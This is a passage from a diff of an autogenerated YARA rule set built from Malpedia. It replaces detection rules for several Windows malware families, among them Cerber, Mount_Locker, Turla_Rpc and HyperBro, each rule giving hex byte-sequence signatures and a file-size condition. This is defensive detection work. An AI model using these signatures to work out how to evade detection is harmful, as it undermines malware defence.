-		$sequence_2 = { 85c0 7405 3b50fc 7205 e8???????? 42 8d4410ff }
-		$sequence_3 = { 50 6a00 8bc3 e8???????? 50 ff15???????? }
-		$sequence_4 = { 3b45e4 0f84ab000000 ff45e4 807dee00 742c 8b55e4 2bd0 }
-		$sequence_5 = { 3345fc 03c6 0345cc 05c8fbd3e7 ba14000000 e8???????? 03c7 }
-		$sequence_6 = { 8bda 8bf0 8bc3 ba02000000 e8???????? 8bc3 e8???????? }
-		$sequence_7 = { 33c0 8945ec 837df000 7426 83caff 8b45f8 }
-		$sequence_8 = { 3bc3 7c07 807c1eff20 74f4 57 b9ffffff7f 8bd3 }
-		$sequence_9 = { 8b45fc 8b88d0010000 ba02000000 8b45fc 8b18 ff534c ff75e4 }
+		$sequence_0 = { 53 51 8b4e08 8945f8 ffb148010000 ff5044 }
+		$sequence_1 = { 8d85e4f1ffff 50 ff5744 50 }
+		$sequence_2 = { 837c910800 8d449108 894514 0f8438010000 837c910c00 }
+		$sequence_3 = { 668b4804 51 ff30 56 e8???????? 83c40c }
+		$sequence_4 = { 51 ff5040 8b0e 8d85ecfeffff 53 50 }
+		$sequence_5 = { 7504 6afe ebea 8b4e08 8b06 ff7170 }
+		$sequence_6 = { 8d4580 8b0b 50 ff5154 }
+		$sequence_7 = { 8b06 753c ffb1d8000000 8d8d00feffff 51 }
+		$sequence_8 = { 51 8d4d80 51 ff5054 eb12 8b5d08 }
+		$sequence_9 = { c3 8b442408 8a08 84c9 7408 }
 
 	condition:
-		7 of them and filesize <1736704
+		7 of them and filesize <24576
 }
-rule MALPEDIA_Win_Selfmake_Auto : FILE
+rule MALPEDIA_Win_Entryshell_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ca04d6b7-e045-5526-8793-d9e1e0d359e9"
+		id = "602f60d0-cc33-528b-8fdb-8d928745f559"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.selfmake_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.entryshell_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "c57531acfc321c5fdc74a4f21330394c8edf44f2f30ab3dcaf573b2b773dc0b6"
+		logic_hash = "870b124d6520583c6a18845739a5248302a0431048dbb7822501065378b2f353"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146519,32 +153515,32 @@ rule MALPEDIA_Win_Selfmake_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c104 3bf0 7ce3 68???????? }
-		$sequence_1 = { 83e107 894df4 8b55f4 52 ff15???????? a1???????? 8be5 }
-		$sequence_2 = { 8d742430 742e e8???????? 6aff }
-		$sequence_3 = { 47 84c0 75f8 66a1???????? 668907 8d44243c 8bd0 }
-		$sequence_4 = { 8945f8 837df800 7408 8b45f8 e9???????? e8???????? }
-		$sequence_5 = { 8b4b2c 6a00 6a01 51 ffd0 8b16 83c604 }
-		$sequence_6 = { 7604 2bf1 eb02 33f6 8b4310 25c0010000 83f840 }
-		$sequence_7 = { 81fa???????? 7209 83c014 3bc1 72eb }
-		$sequence_8 = { 51 e8???????? 8b742418 8bbc2418020000 }
-		$sequence_9 = { e8???????? 56 e8???????? 8b442424 8b35???????? 83c414 50 }
+		$sequence_0 = { 85db 7517 53 8d95e4dfffff 8b8d8cddffff }
+		$sequence_1 = { 771d 8d8290c72501 8d5001 660f1f440000 }
+		$sequence_2 = { 83c40c 8d8424a8080000 50 6804010000 ff15???????? 8d442450 50 }
+		$sequence_3 = { 8b46f8 0fb684054fffffff 8842fd 83ef01 75a1 0f1003 53 }
+		$sequence_4 = { 83c404 84c0 0f8495010000 8bbdf4efffff 85ff 0f84eefcffff 6a20 }
+		$sequence_5 = { e8???????? 59 83cfff 897de4 33c9 894dfc 8b049d78512501 }
+		$sequence_6 = { 8945f8 53 8b5d08 0f57c0 56 57 895de8 }
+		$sequence_7 = { 83c40c 8d4ffe 668b4102 8d4902 6685c0 75f4 e9???????? }
+		$sequence_8 = { 8a0445399f2401 eb02 32c0 0fb64d0c 0fb6c0 6bc009 03c1 }
+		$sequence_9 = { 02d2 029013800000 02d2 029014800000 02d2 029015800000 02d2 }
 
 	condition:
-		7 of them and filesize <932864
+		7 of them and filesize <663552
 }
-rule MALPEDIA_Win_Pinchduke_Auto : FILE
+rule MALPEDIA_Win_Darkbit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cba434ff-ad3f-569d-a5ea-a8661b7af309"
+		id = "58b27aad-7d48-54be-9cff-6269fdf4ce6e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pinchduke_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkbit_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "91b75415e43b3618cf4d35265fc79e44823a3f174f6cf370c8d280ecd6905acb"
+		logic_hash = "06c0013c639973d9f2d79cd394915657a8e01f1fe7c56128c97a4b11c48d29ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146558,32 +153554,32 @@ rule MALPEDIA_Win_Pinchduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 895dd4 895dd8 895ddc c645e030 895de1 }
-		$sequence_1 = { 9b d93c24 9b 58 50 80e4f3 80cc08 }
-		$sequence_2 = { 85d2 7416 8d4c50fe 2bf0 57 668b3c0e 668939 }
-		$sequence_3 = { 83c40c 8d857bffffff 50 8d4dc4 e8???????? 8d8d7bffffff e8???????? }
-		$sequence_4 = { 50 ff15???????? 3bc3 89456c 0f84cc020000 }
-		$sequence_5 = { 8945fc e8???????? 83c410 ff75fc 56 ff15???????? 56 }
-		$sequence_6 = { 64a118000000 3e8b4030 3e0fb64002 890424 8b0424 59 c3 }
-		$sequence_7 = { 6a00 ff7510 ff75fc ffd6 85c0 7404 33c0 }
-		$sequence_8 = { 85d2 75f5 8bc7 5f 5e c3 8b4c240c }
-		$sequence_9 = { e8???????? 8d85e4f7ffff 50 e8???????? 83ec0c 8bcc 50 }
+		$sequence_0 = { e8???????? 48898424f0140000 48899c2498020000 488b0d???????? 48898c2478100000 488d05c1742500 90 }
+		$sequence_1 = { eb23 4889c7 488b8c24d0180000 e8???????? 488d7810 488b8424c8180000 6690 }
+		$sequence_2 = { e8???????? 4889842410010000 48899c2418070000 488b442460 48c7c3feffffff e8???????? 4889842470010000 }
+		$sequence_3 = { eb11 488d7818 488b8c24f0110000 e8???????? 488b8c24e8030000 48894810 833d????????00 }
+		$sequence_4 = { 833d????????00 7515 488b8c24a81e0000 488908 488905???????? 90 eb1c }
+		$sequence_5 = { e8???????? 488b542440 48895008 833d????????00 750d 488b9424c0000000 488910 }
+		$sequence_6 = { e8???????? 4889842428080000 48899c2480110000 488b8424a0080000 48c7c3ffffffff 0f1f440000 e8???????? }
+		$sequence_7 = { e8???????? 488d8424d8000000 488b9c2408010000 90 e8???????? b801000000 eb21 }
+		$sequence_8 = { e8???????? 803d????????00 7431 488d1543fa1a00 488915???????? 833d????????00 7509 }
+		$sequence_9 = { ffd2 84c0 7556 488d0509aa3000 488b5c2430 488b4c2438 e8???????? }
 
 	condition:
-		7 of them and filesize <223680
+		7 of them and filesize <11612160
 }
-rule MALPEDIA_Win_Mangzamel_Auto : FILE
+rule MALPEDIA_Win_Poison_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "efd17f11-bd84-5994-8489-ce27d4f0f0e6"
+		id = "3901c97f-e38d-5819-991e-493be520fc51"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mangzamel_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poison_rat_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "e3b6cc187254084e27045992bdf0d8b8ff879105635bf8f3e82d14e2723774a4"
+		logic_hash = "b960cb72b2615d9b184a9e25264d3c87f1ec796c5d1b6fa8620d3a64be9786ae"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146597,32 +153593,32 @@ rule MALPEDIA_Win_Mangzamel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7508 837e1410 7404 32c0 eb6e 8b06 53 }
-		$sequence_1 = { 8d8dd4feffff e8???????? 33db 8d8dc0fdffff 895dfc e8???????? 8d85d4feffff }
-		$sequence_2 = { 6a00 8bce ff7674 e8???????? 6a01 6804000102 8bce }
-		$sequence_3 = { ff7508 e8???????? 84c0 7404 c645f301 8b4df4 }
-		$sequence_4 = { 8bd0 8b00 8b5208 3932 7506 837a0400 }
-		$sequence_5 = { e8???????? 33c0 8bce 50 50 50 ff742414 }
-		$sequence_6 = { 8bce ff7508 ff5040 8ac3 5e 5b 5d }
-		$sequence_7 = { 57 8b7c2414 33c0 8907 8b0d???????? 3bc8 }
-		$sequence_8 = { 8d4b6c e8???????? 5e 5b c3 56 8bf1 }
-		$sequence_9 = { 8b74240c 57 8b7c240c 8d4602 50 57 e8???????? }
+		$sequence_0 = { 6880000000 8d85d4fcffff 52 50 e8???????? }
+		$sequence_1 = { 40 83f810 7cee 83ee10 4f 75ac 33c0 }
+		$sequence_2 = { 81e1ff000000 83c010 331cad30a44000 8b68f8 }
+		$sequence_3 = { e8???????? 8d8560ffffff 68???????? 50 e8???????? ffb6eca94000 }
+		$sequence_4 = { 81e5ff000000 333cad30a44000 8b68fc 33fd 8bea }
+		$sequence_5 = { f3a5 ff249578334000 8bc7 ba03000000 }
+		$sequence_6 = { 33c9 897c2418 8a6e08 8a4e09 }
+		$sequence_7 = { c1ea18 81e5ff000000 330c9530984000 8bd7 81e2ff000000 330c9530a44000 8b10 }
+		$sequence_8 = { 8b34b530984000 8b1cbd309c4000 c1e908 33f3 81e1ff000000 8b0c8d30804000 }
+		$sequence_9 = { 8bf1 c1f805 83e61f 8d3c8580c54000 c1e603 8b07 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <101688
 }
-rule MALPEDIA_Win_Mount_Locker_Auto : FILE
+rule MALPEDIA_Win_Rover_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6832e6a1-eaa1-5e1c-99c0-2c5304573141"
+		id = "1dedd2f8-89d8-5b82-937e-e4187a543962"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mount_locker_auto.yar#L1-L152"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rover_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "bff6076907046250738924c00fe6ba5da63e4a09d46fe90acd3aa54210bff35b"
+		logic_hash = "6367e2cdf56f70609689c8633064a076a7b96ec3143349e9ae15d5e0ca66c168"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146636,38 +153632,32 @@ rule MALPEDIA_Win_Mount_Locker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81f900000780 7503 0fb7c0 3d2e050000 }
-		$sequence_1 = { f30f5905???????? 0f5ad0 66490f7ed0 e8???????? }
-		$sequence_2 = { 4d8bc8 4c8bc2 4c8bf2 8bf1 }
-		$sequence_3 = { 8bc8 81e10000ffff 81f900000780 7503 }
-		$sequence_4 = { 488b0b 41b902000000 4533c0 33d2 }
-		$sequence_5 = { 488d4df0 4889442428 4533c9 4533c0 }
-		$sequence_6 = { 488bcb 488b15???????? e8???????? 85c0 }
-		$sequence_7 = { 488364242000 4533c9 488b4c2458 33d2 c744243001000000 c744243c02000000 }
-		$sequence_8 = { 4c8bf2 8bf1 33d2 33c9 }
-		$sequence_9 = { ff15???????? 85c0 7509 f0ff05???????? }
-		$sequence_10 = { b905000000 ff15???????? 3d040000c0 7494 85c0 }
-		$sequence_11 = { 7505 e8???????? 833d????????00 7409 833d????????00 }
-		$sequence_12 = { 8d442430 68???????? 50 ffd7 }
-		$sequence_13 = { a1???????? 83f804 7515 68???????? }
-		$sequence_14 = { 8bf0 85f6 7424 6800010000 }
-		$sequence_15 = { ff15???????? 85c0 7409 f0ff05???????? eb1e 56 }
+		$sequence_0 = { 6800120000 885c247b ff15???????? 85c0 0f8422010000 8b35???????? 8d542460 }
+		$sequence_1 = { ff15???????? 8d4c2404 c684249c00000000 ff15???????? 8d8c24a4000000 c784249c000000ffffffff }
+		$sequence_2 = { 83ed01 0f8464010000 83ed04 0f845b010000 83bba402000000 8b6a28 896c240c }
+		$sequence_3 = { 85db 0f856f030000 8b471c 85c0 7421 50 8d442414 }
+		$sequence_4 = { 8bf0 83c404 3bf3 7537 a1???????? 8b4824 8d542438 }
+		$sequence_5 = { 50 8b442458 68???????? 50 e8???????? 83c410 85c0 }
+		$sequence_6 = { 8b8fb0050000 8d6b50 89442410 8987b0050000 8b85a8000000 8bd0 80e215 }
+		$sequence_7 = { 83e802 7426 83e815 740f 683f270000 ff15???????? 83c8ff }
+		$sequence_8 = { 83c40c c3 6a2f 57 ffd6 83c408 85c0 }
+		$sequence_9 = { 57 e8???????? 56 e8???????? 83c40c c744242c04000000 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <704512
 }
-rule MALPEDIA_Win_Manjusaka_Auto : FILE
+rule MALPEDIA_Win_Hyperbro_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9f188d62-91cb-5093-86fd-1c78b358599b"
+		id = "3941e796-a485-533f-bda6-3b99f666d1b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.manjusaka_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hyperbro_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "dab9ae475e0b441f3d26af80a0ebc722e21c766bc33599d09d1c1a5353ad7516"
+		logic_hash = "4bee21ef51c3ea4f0bd6259a2f8a9c95c3e4ba56a999c789fc7f134934b59561"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146681,32 +153671,32 @@ rule MALPEDIA_Win_Manjusaka_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ebb8 488d05b77a1000 4889442450 48c744245801000000 48c744246000000000 488d05f9b01100 4889442470 }
-		$sequence_1 = { 4c89bc2480040000 4c8939 4c897108 48895910 48c7411800800000 0f117018 48897930 }
-		$sequence_2 = { 791d 418b4128 41034124 4863c8 488bc2 48f7d8 48c1e00a }
-		$sequence_3 = { 89411c 488b45d7 2b4527 05feffff07 89710c 894120 8b45db }
-		$sequence_4 = { 4989f8 e8???????? 48ffcb 75ed 0f57f6 488d9c2410010000 0f297320 }
-		$sequence_5 = { 898c24f8000000 48896c2448 3b08 0f8c21fdffff 4c8bbc24f0000000 4d85f6 7424 }
-		$sequence_6 = { 814d4002020000 4533c0 48894500 498bcd 83c8ff 66894544 b8c8000000 }
-		$sequence_7 = { 89573c 48894740 895750 488b442e60 48894758 488b442e28 488b4860 }
-		$sequence_8 = { f7d8 894c2420 448bc5 498bcd 1bd2 4533c9 83e2fc }
-		$sequence_9 = { e8???????? 4889d9 e8???????? 488d4f70 e8???????? 488d8fe0000000 e8???????? }
+		$sequence_0 = { 33c0 6a40 66890479 e8???????? 6a40 }
+		$sequence_1 = { 8b4604 83c004 50 6a00 57 }
+		$sequence_2 = { 46 47 83e801 75f5 }
+		$sequence_3 = { 8d542428 68???????? c74424200c000000 c744242801000000 89542424 ff15???????? }
+		$sequence_4 = { 05ff000000 41 3d01feffff 0f871c010000 8bd5 2bd1 83fa01 }
+		$sequence_5 = { 50 8d4c2472 51 6689442474 }
+		$sequence_6 = { 6882000000 c706???????? e8???????? 6882000000 6a00 50 }
+		$sequence_7 = { e8???????? 83c404 83eb01 79ec 8b4f2c 51 e8???????? }
+		$sequence_8 = { 83c410 85ed 750e 8b7c2410 }
+		$sequence_9 = { 8b44242c 3bc3 7415 50 e8???????? 83c404 }
 
 	condition:
-		7 of them and filesize <4772864
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Cerber_Auto : FILE
+rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b1175b4-aaae-5323-bbb6-472b8daa3220"
+		id = "229fefe8-12a2-5321-841b-a1c5858ad20f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cerber_auto.yar#L1-L101"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_020_cia_vault7_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "90183139badfe5f943ec4dd7b3bc0305f6ea2215a75a5dc8603646346366cf36"
+		logic_hash = "121c8e165e7a80ef0b3dea83e1137d20669defc5a0d83275fbb5b7562347ae72"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146720,30 +153710,32 @@ rule MALPEDIA_Win_Cerber_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4a 79f6 5f 8bc6 }
-		$sequence_1 = { 85c0 750c 8b33 e8???????? 832300 eb0e 8b4dfc }
-		$sequence_2 = { 33f9 8b88e0000000 894dd0 8b88e4000000 899864010000 8b5dd8 }
-		$sequence_3 = { 4a 79e6 47 3b7d0c }
-		$sequence_4 = { 51 53 56 8bf0 57 85f6 7508 }
-		$sequence_5 = { 4a b800000080 83e904 eb02 }
-		$sequence_6 = { 895df4 33c9 83fa08 0f9dc1 854df4 7515 }
-		$sequence_7 = { 33f9 8b88e8feffff 234808 8998fc000000 8b5874 }
+		$sequence_0 = { 6a08 6a01 52 ff15???????? 85c0 0f859f000000 8b45d0 }
+		$sequence_1 = { 57 ff15???????? 8bf0 85f6 0f8470ffffff 8b85ecfdffff }
+		$sequence_2 = { 6a00 6a00 6a00 6a00 8d95f4fdffff 52 6a01 }
+		$sequence_3 = { 8bc1 c1f805 8bf1 83e61f 8d3c8520834100 8b07 }
+		$sequence_4 = { 0f870d0a0000 ff2485bbce4000 33c0 838df4fbffffff 898598fbffff 8985b0fbffff }
+		$sequence_5 = { 33d2 6806020000 52 8d85eafbffff 50 668995e8fbffff e8???????? }
+		$sequence_6 = { 5d c3 b984120000 b8???????? }
+		$sequence_7 = { 8d45f4 50 52 51 57 ff15???????? 8b4d08 }
+		$sequence_8 = { 50 51 ff15???????? 85c0 7420 8b55fc }
+		$sequence_9 = { 83ffff 7410 8d4c2420 51 }
 
 	condition:
-		7 of them and filesize <573440
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Virtualgate_Auto : FILE
+rule MALPEDIA_Win_Hoplight_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5ab8135e-3bbe-5abd-acc2-717daf53613e"
+		id = "d07c2fe2-ecaa-5d6d-9200-86c11ba23c84"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virtualgate_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hoplight_auto.yar#L1-L90"
 		license_url = "N/A"
-		logic_hash = "5ca5297d10bab80aa59720f493a7b89d0ffff3ac0eaaf62e59c4e5ea64ea6f84"
+		logic_hash = "247623c43b610ddcbb448aac3610ffa1141476124d800ee4677cf300abbf0143"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146757,32 +153749,30 @@ rule MALPEDIA_Win_Virtualgate_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4157 4883ec38 4c63e9 488bf2 498bc5 488d0dc7f10000 }
-		$sequence_1 = { 4b8794fed02a0200 eb2d 4c8b15???????? ebb8 4c8b15???????? 418bc2 b940000000 }
-		$sequence_2 = { 8d58b0 498bce 448bc3 488d1580bd0000 e8???????? 85c0 7429 }
-		$sequence_3 = { ff15???????? c705????????00001000 eb26 4183f802 }
-		$sequence_4 = { 488bc8 ff15???????? 3b05???????? 488bcb 89442450 7608 }
-		$sequence_5 = { 48894527 498bc0 48ffc0 41381407 75f7 498bc8 48ffc1 }
-		$sequence_6 = { 4c8d05b4d30000 488d15b1d30000 e8???????? 4885c0 7416 }
-		$sequence_7 = { 488bf5 4803d2 498b94d750b50100 e8???????? 85c0 }
-		$sequence_8 = { 4c8d058dbe0100 488bd5 48c1fa06 4c893403 488bc5 }
-		$sequence_9 = { 488b8c2420800200 4833cc e8???????? 488b9c2450800200 }
+		$sequence_0 = { 488b4c2460 e8???????? 8b442428 488d0d5e680200 }
+		$sequence_1 = { 488b5260 8b0481 894208 488b842480000000 }
+		$sequence_2 = { 8b442424 25ff000000 8bc0 488d0d87740200 }
+		$sequence_3 = { 4889542420 4d8bc8 488b442440 4c8bc0 }
+		$sequence_4 = { 4c8bb42498040000 488b8d80030000 4833cc e8???????? }
+		$sequence_5 = { 488d4c2460 e8???????? 488b842470020000 488b4060 }
+		$sequence_6 = { 4833c4 48898424f8000000 c744242800000000 488b842410010000 }
+		$sequence_7 = { 4c8d05883c0300 488bd0 488b4c2450 e8???????? }
 
 	condition:
-		7 of them and filesize <323584
+		7 of them and filesize <765952
 }
-rule MALPEDIA_Win_Himera_Loader_Auto : FILE
+rule MALPEDIA_Win_Kasperagent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e46aed8f-6384-5100-b12a-1e2dd8afe756"
+		id = "31bd379d-36ff-5056-a7b4-5cc60c9344f8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.himera_loader_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kasperagent_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "ec88d24287290abbd140c4f0211e2582e892064d8e933b967abedc9a00192e9f"
+		logic_hash = "a97fb5a8dde23a8ff235ddb0c06e57b70ba205db49e4efcaa1ba693facbe4b47"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146796,34 +153786,34 @@ rule MALPEDIA_Win_Himera_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c408 8b4dfc 6689411e 6a10 }
-		$sequence_1 = { 64a300000000 894de0 c745dc0c000000 c645e45e c645e55d }
-		$sequence_2 = { 8b4d08 0fb71401 52 e8???????? 83c408 8b4dfc 66894130 }
-		$sequence_3 = { 8d85dcfdffff 50 8d8df8feffff 51 8d95f8feffff 52 8d8deffdffff }
-		$sequence_4 = { c20400 e8???????? 85c0 0f84c1510000 }
-		$sequence_5 = { c645eb1c c645ec2e 64a12c000000 8b08 8b15???????? 3b9104000000 7e4c }
-		$sequence_6 = { 50 8d45f4 64a300000000 894de0 c745dc0a000000 c645e440 c645e55a }
-		$sequence_7 = { c7459c49000000 c645a463 c645a541 c645a654 c645a747 c645a842 c645a942 }
-		$sequence_8 = { c645e801 c645e90e c645ea18 c645eb1a c645ec00 c645ed1e c645ee2e }
-		$sequence_9 = { c745fc00000000 eb09 8b45fc 83c001 8945fc 837dfc25 7321 }
+		$sequence_0 = { 84c0 741e 8bd6 57 52 e8???????? }
+		$sequence_1 = { ffb4b5b4fdffff 8b95ccfdffff 8b8dd8fdffff e8???????? 59 3bc3 }
+		$sequence_2 = { 83c404 8bd8 83caff f00fc117 }
+		$sequence_3 = { 33c9 894c2430 894c2434 894c2438 894c243c 85c0 7463 }
+		$sequence_4 = { 8d742410 8d442408 c7470800000000 894c240c e8???????? 84c0 }
+		$sequence_5 = { 7cb4 8b4c2414 8b01 3b70f8 }
+		$sequence_6 = { 66390c78 7535 84db 7524 }
+		$sequence_7 = { 8b50f4 52 50 e8???????? 5d }
+		$sequence_8 = { 7419 8d642400 3bfa 7311 }
+		$sequence_9 = { 8d3451 33ff 3bce 7419 8d642400 3bfa }
 
 	condition:
-		7 of them and filesize <385024
+		7 of them and filesize <1605632
 }
-rule MALPEDIA_Win_Rdat_Auto : FILE
+rule MALPEDIA_Win_Turla_Rpc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92191fa2-5f3d-5b42-a025-816ea5c7ba9a"
+		id = "d062a0c9-c6c6-5f57-a60f-6c6b55d2f616"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rdat_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turla_rpc_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "258a7b0e2fbdc995f078ce1c969b2a27e77e31fae7722d9e4f1fdbfa2416146c"
-		score = 60
-		quality = 45
+		logic_hash = "696b632d482c9df6571dae61d7a8f9238e184ca30e0aa7fbb216cfbf4128270e"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -146835,38 +153825,38 @@ rule MALPEDIA_Win_Rdat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3b7744 0f8c19ffffff 8b87ac020000 33ed }
-		$sequence_1 = { 48ffc3 4038341a 75f7 4883791810 488b7910 7203 488b09 }
-		$sequence_2 = { 4863ed 4885ed 0f8ed8000000 8b54b430 }
-		$sequence_3 = { 4c8bc3 4c0f42c7 4d85c0 7504 8bc6 }
-		$sequence_4 = { 4889442470 448bb910010000 4532e4 448aea 488bd9 4585ff 0f8e1e020000 }
-		$sequence_5 = { 4533ff 4c8bf1 44397944 0f8e64010000 }
-		$sequence_6 = { 48894108 4c8b05???????? 488b15???????? 89442420 4d85c0 }
-		$sequence_7 = { 488b09 483bfb 4c8bc3 4c0f42c7 }
-		$sequence_8 = { 45380401 75f7 4c8bc0 498bd1 488d4c2438 }
-		$sequence_9 = { e8???????? 4898 4885c0 751e 483bfb 7313 83c8ff }
-		$sequence_10 = { 85c0 740b b9e8030000 ff15???????? }
-		$sequence_11 = { 4863f0 33d2 8bc2 48c1e006 }
-		$sequence_12 = { 3b566c 0f8d9e000000 488b4660 3b5668 7c1d 2b5668 }
-		$sequence_13 = { 7203 488b00 4c8bc0 498bd7 488d4de0 }
-		$sequence_14 = { 0f84f5000000 4883f910 7205 488b07 }
-		$sequence_15 = { 488d8c2490060000 e8???????? 90 488b942490060000 803a00 7505 4d8bc6 }
